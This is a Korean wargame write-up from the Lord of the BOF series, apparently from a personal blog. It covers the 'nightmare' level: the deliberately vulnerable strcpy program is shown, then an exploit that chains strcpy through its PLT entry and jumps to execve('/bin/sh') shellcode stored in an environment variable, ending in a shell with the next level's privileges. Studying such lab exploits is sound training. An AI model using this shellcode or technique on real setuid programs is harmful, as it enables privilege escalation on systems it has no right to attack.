/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
ret의 영역에는 strcpy의 주소가 담기게 된다.
프로그램이 종료되면서 strcpy를 실행하게 되는데 strcpy의 리턴 주소는 memset으로 인해 "AAAA"(0x41414141)로 리셋팅 된다.
하지만 프로그램이 종료되고 실행되는 strcpy를 이용하여 "AAAA"로 바뀐 곳을 쉘 코드가 있는 환경 변수 주소로 바꿔주면 된다.
우선은 strcpy()함수의 plt 주소를 알아내야 하기 때문에 readelf 명령어를 사용한다.
[succubus@localhost succubus]$ readelf -a ./nightmare | grep strcpy
08049878 00b07 R_386_JUMP_SLOT 08048410 strcpy
11: 8048410 34 FUNC GLOBAL 0 UND strcpy@GLIBC_2.0 (2)
82: 8048410 34 FUNC GLOBAL 0 UND strcpy@@GLIBC_2.0
strcpy의 plt 주소를 비교하는 구문을 통과할 수 있으니
cp로 복사한 파일을 segment fault 띄어 core dump 파일을 분석한다.
[succubus@localhost succubus]$ ./mightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"'`"
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBCCCCDDDD
Segmentation fault (core dumped)
이제 환경변수에 쉘 코드를 등록하고 주소를 구한 뒤 payload를 통해 exploit 하면 nightmare의 권한을 얻을 수 있다.
[succubus@localhost succubus]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"
환경변수의 주소를 구하는 소스
#include <stdio.h>
int main()
{
printf("f1ay offset = %p\n", getenv("f1ay"));
return 0;
}
[succubus@localhost succubus]$ gcc -o ./get_env ./get_env.c
[succubus@localhost succubus]$ ./get_env
f1ay offset = 0xbffffe84
작성한 payload를 통한 exploit
[succubus@localhost succubus]$ ./nightmare "`python -c 'print "B"*44+"\x10\x84\x04\x08"+"AAAA"+"\x30\xfa\xff\xbf"+"\x3c\xfa\xff\xbf"+"\x84\xfe\xff\xbf"'`"
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAA0ÿ¿þÿ¿
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
'# write-up > - Lord of Bof' 카테고리의 다른 글
[LOB] xavius -> death_knight (0) | 2016.12.09 |
---|---|
[LOB] nightmare -> xavius (0) | 2016.12.08 |
[LOB] zombie_assassin -> succubus (0) | 2016.12.08 |
[LOB] assassin -> zombie_assassin (0) | 2016.12.07 |
[LOB] giant -> assassin (0) | 2016.12.07 |